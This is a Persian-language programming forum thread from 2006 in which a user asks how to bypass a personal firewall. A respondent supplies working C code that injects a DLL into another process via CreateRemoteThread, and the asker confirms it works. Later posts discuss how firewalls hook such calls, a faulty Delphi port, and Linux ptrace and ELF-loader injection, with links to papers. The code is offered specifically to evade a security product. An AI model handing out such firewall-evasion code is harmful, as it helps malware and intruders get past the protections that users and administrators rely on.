PDA

View Full Version : دور زدن فایروال



Mansour5
سه شنبه 02 خرداد 1385, 19:09 عصر
سلام دوستان
من تمام بحثهای این قسمت رو خوندم اما نتونستم مشکلمو حل کنم
من یه فایروال دارم که میخام بای پسش بکنم....یه چیزی مثل زون الارم ( ولی زون الارم نیست )
و میدونم اگه برنامم از داخل اینترنت اکسپلورر اجرا بشه میتونم فایروال رد کنم
مقاله ها رو خوندم اما حالا
چطوری اینکار رو بکنم ؟؟ اگه ممکنه ساده ترین روش رو توضیح بدین که بتونم خیلی سریع یه دمو ازش در بیارم

خیلی خیلی ممنون :قلب:

Inprise
سه شنبه 02 خرداد 1385, 19:16 عصر
این روزها اغلب فایروالهای شخصی جلوی Code Injection یا Remote Memory Manipulation رو میگیرن ، بهر حال جواب سوالت ساده هست ، و اگه مطالب قبلی فروم رو به دفت مطالعه کنی باید خودت بتونی بنویسی .

ساده ترین روش اجرا کردن کد در کانتکست یک پروسهء غریبه استفاده از Remote Thread است . ابتدا هندلی به پروسهء مقصد ایجاد میکنی ، کد مورد نظرت که در قالب یک DLL آمادهء اجراست فراخوانی میکنی ، حافظه مورد نظر رو در پروسهء فوق الذکر اختصاص میدی ، Remote thread رو ایجاد میکنی که حاوی کد DLL ات هست ؛ این هم ساده ترین کد ممکن :


BOOL InjectDLL(DWORD ProcessID) {
HANDLE Proc;
char buf[50]={0};
LPVOID RemoteString, LoadLibAddy;
if(!ProcessID) return false;
Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);
if(!Proc) {
sprintf(buf, "OpenProcess() failed: %d", GetLastError()); MessageBox(NULL, buf, "Loader", NULL); return false;
}
LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);
CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL); CloseHandle(Proc);
return true; } خوش باشی

Hamid_PaK
چهارشنبه 03 خرداد 1385, 04:01 صبح
فرق بین ProccessInjection با InjectDll چیه ؟؟؟

hmm
چهارشنبه 03 خرداد 1385, 07:07 صبح
inpy جان از کدت و بهتر از اون ، منطق نهفته درکد ممنونم .
هرچند با c بیگانه ام ولی روش رو تا حدودی فهمیدم!
ولی سوالم اینه که آیا ویندوز به این راحتی اجازه میده توی کانتکست پروسه ها یه thread جدید ایجاد بشه ؟
من متوجه نمیشه امنیت ویندوز یعنی همین؟
آیا ویندوز روشی برای جلوگیری از اینکار نداره و باید فقط به سراغ نبوغ برنامه نویس رفت؟

Inprise
چهارشنبه 03 خرداد 1385, 08:25 صبح
جلوگیری ؟
این یک نقیصه نیست . یک امکان و ویژگی هست . اگر چنین قابلیتی وجود نداشته باشه کسی نمیتونه : Anti Virus - Local Proxy - Application Level Firewall - Host-based IDS و امثال اینها رو بنویسه . چنین امکانی روی لینوکس و سولاریس هم وجود داره .

hmm
چهارشنبه 03 خرداد 1385, 11:47 صبح
از وقتی که گذاشتی سپاسگذارم
ولی من نمی تونم خودم رو متقاعد کنم (البته این قاعدتاً مشکل شما و بیل گیتس و توسعه دهنده های لینوکس و سولاریس نیست!) .
فضای حافظه یه پردازش مربوط به خودشه مثل مالکیت خونه خودتون. کسی اجازه نداره بهش تجاوز کنه.حالا با این تفاسیر هر threadی میتونه پا برهنه بپره وسط کانتکست پروسه من و هر کاری دلش میخواد بکنه .
البته میدونم که حتماً این ویژگی که شما گفتید، حتماً یه ویژگیه. ولی من ارتباطش رو تشخیص نمیدم !(اینهم از مضرات کمی دانش حقیره که بقیه رو تو دردسر میندازه)

Mansour5
چهارشنبه 03 خرداد 1385, 21:01 عصر
آقا این داره کار میکنه دمت گرم !!!!!
میشه بگی فایروالها چطوری جلوی اینکارا رو میگیرن ؟

Inprise
چهارشنبه 03 خرداد 1385, 21:04 عصر
بستگی به فایروال شخصی مد نظرت داره .
اما اغلب یک Hook ساده کافی هست تا جلوی Remotethread Call گرفته بشه . مثلا" ZoneAlarm در حالت پیش فرض جلوی این فراخوانی رو نمیگیره اما به انتخاب کاربر ، یک Hook نصب میکنه که اگر کدت رو به فضای پروسه دیگری تزریق کردی بلافاصله متوقفش کنه و یک اخطار هم بده . اغلب فایروالهای شخصی با روشهای - کمی - متفاوت چنین کاری رو انجام میدن .

Mansour5
چهارشنبه 03 خرداد 1385, 21:08 عصر
ایول .....
آقا رفرنسی برای اینجور چیزا داری ؟

Inprise
چهارشنبه 03 خرداد 1385, 21:11 عصر
"اینجور چیزا" رو نمیشناسم ؛
اما شاید تو کتابخانهء امنیت نرم افزار (http://www.barnamenevis.org/forum/showthread.php?t=32983)چیزی باشه که به دردت بخوره .

موفق باشی

Hamid_PaK
پنج شنبه 04 خرداد 1385, 03:28 صبح
با سلام Inprise
کد رو به دلفی تبدیل کردم ولی کار نکرد امکان داره اشکال کار رو بگی با تشکر ...



function InjectDLL(ProcessID: DWORD): Boolean;
var
Proc: THandle;
RemoteString,
LoadLibAddy: Pointer;
begin
Result := False;
if ProcessID = INVALID_HANDLE_VALUE then Exit;
Proc := OpenProcess(PROCESS_CREATE_THREAD, False, ProcessID);
if Proc = INVALID_HANDLE_VALUE then Exit;
LoadLibAddy := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
RemoteString := VirtualAllocEx(Proc, nil, Length('DLL_NAME'), MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
CreateRemoteThread(Proc, nil, 0, LoadLibAddy, RemoteString, 0, 0);
Result := True;
end;


با تشکر ...

Inprise
پنج شنبه 04 خرداد 1385, 08:17 صبح
کد دلفی قبلا" نوشته شده . از بخش جستجوی سایت استفاده کن .

Mansour5
دوشنبه 08 خرداد 1385, 16:44 عصر
فکر نمیکنم بشه روی لینوکسم اینکارو کرد
غیر از فانکشنهای سی که دیگه چیزی رو لینوکس نیست
..................؟؟؟

Mansour5
دوشنبه 08 خرداد 1385, 16:48 عصر
در ضمن من کد شما رو امروز به استاد امنیت شبکمون نشون دادم
و گفتن که چنین چیزی رو لینوکس امکان نداره و لینوکس سیستم عامل امنیه

Inprise
دوشنبه 08 خرداد 1385, 17:20 عصر
فکر نمیکنم بشه روی لینوکسم اینکارو کرد
غیر از فانکشنهای سی که دیگه چیزی رو لینوکس نیست

من معمولا" به دوستانم توصیه میکنم تا وقتی چیزی برای مطالعه وجود داره فکر نکنن چون معنی نداره ، و راستش رو بخوای خودم مدت زیادیه که شانسی برای برای فکر کردن نداشتم !

لینوکس هم مثل بقیه سیستمهای عامل API هائی برای تبادلات سطح پائین ارائه میکنه که بخشی از اونها به System Call معروف هستند ، چیزی معادل Native API های ویندوز که قبلا" در موردشون نوشتم - ر.ک قابلیت جستجوی فروم - بحث Code Injection بحث عجیب یا عمیقی نیست پس متوجه نمیشم چرا خیلیها رو شگفتزده میکنه ، اما روی لینوکس بسادگی با استفاده از ptrace میتونی (http://interactive.linuxjournal.com/article/6210) کد مورد نظرت رو به فضای پروسه [های] مورد نظرت تزریق کنی ، یا حتی به عنوان یک راه حل بهتر ، با هوک ELF Loader (http://thief.uninformed.org/toorcon/) میشه کد مد نظر رو به فضای تمام یا بخشی از پروسه های در حال اجرا تزریق کرد ؛ بعضی ها با ترکیب روشهائی مثل اینها حتی کتابخانه های آماده ای (http://www.nologin.net/Downloads/Papers/remote-library-injection.pdf) هم برای اینکار نوشته اند ...

و گفتن که چنین چیزی رو لینوکس امکان نداره و لینوکس سیستم عامل امنیه

همونطور که تو جواب صفحه قبلم توضیح دادم ، ما در حال صحبت کردن در مورد یک باگ یا نقیصه نیستیم که دربارهء امنیت صحبت کنیم . این یک ویژگی است که سیستم عامل ازش استفاده میکنه و بدون وجود اون هیچ خدمتی وجود داره . آنتی ویروسها فقط با استفاده از چنین امکانی میتونن ویروسهای پلی مورفیک رو شناسائی کنن ، یا فایروالهای سطح کاربرد با همین امکان میتونن مجوز های دسترسی به شبکه یا منابع رو اعطا یا لغو کنن و ... . طبیعتا" میشه یک فایل رو روی دیسک نوشت ، یک فایل میتونه ویروس باشه ، پس میشه ویروس رو روی دیسک نوشت ، آیا به این دلیل لینوکس نا امن است ؟ اولین ویروس لینوکسی که دیدم از این قابلیت سوء استفاده میکنه این (http://www.tty64.org/doc/infschedvirii.txt) بود و برای مطالعهء یک مقاله مفصل هم این (http://www.phrack.org/phrack/59/p59-0x0c.txt) : Building ptrace injecting shellcodes. از بحث امنیت بگذریم ، سلام گوگل رو به استادت برسون .

موفق باشی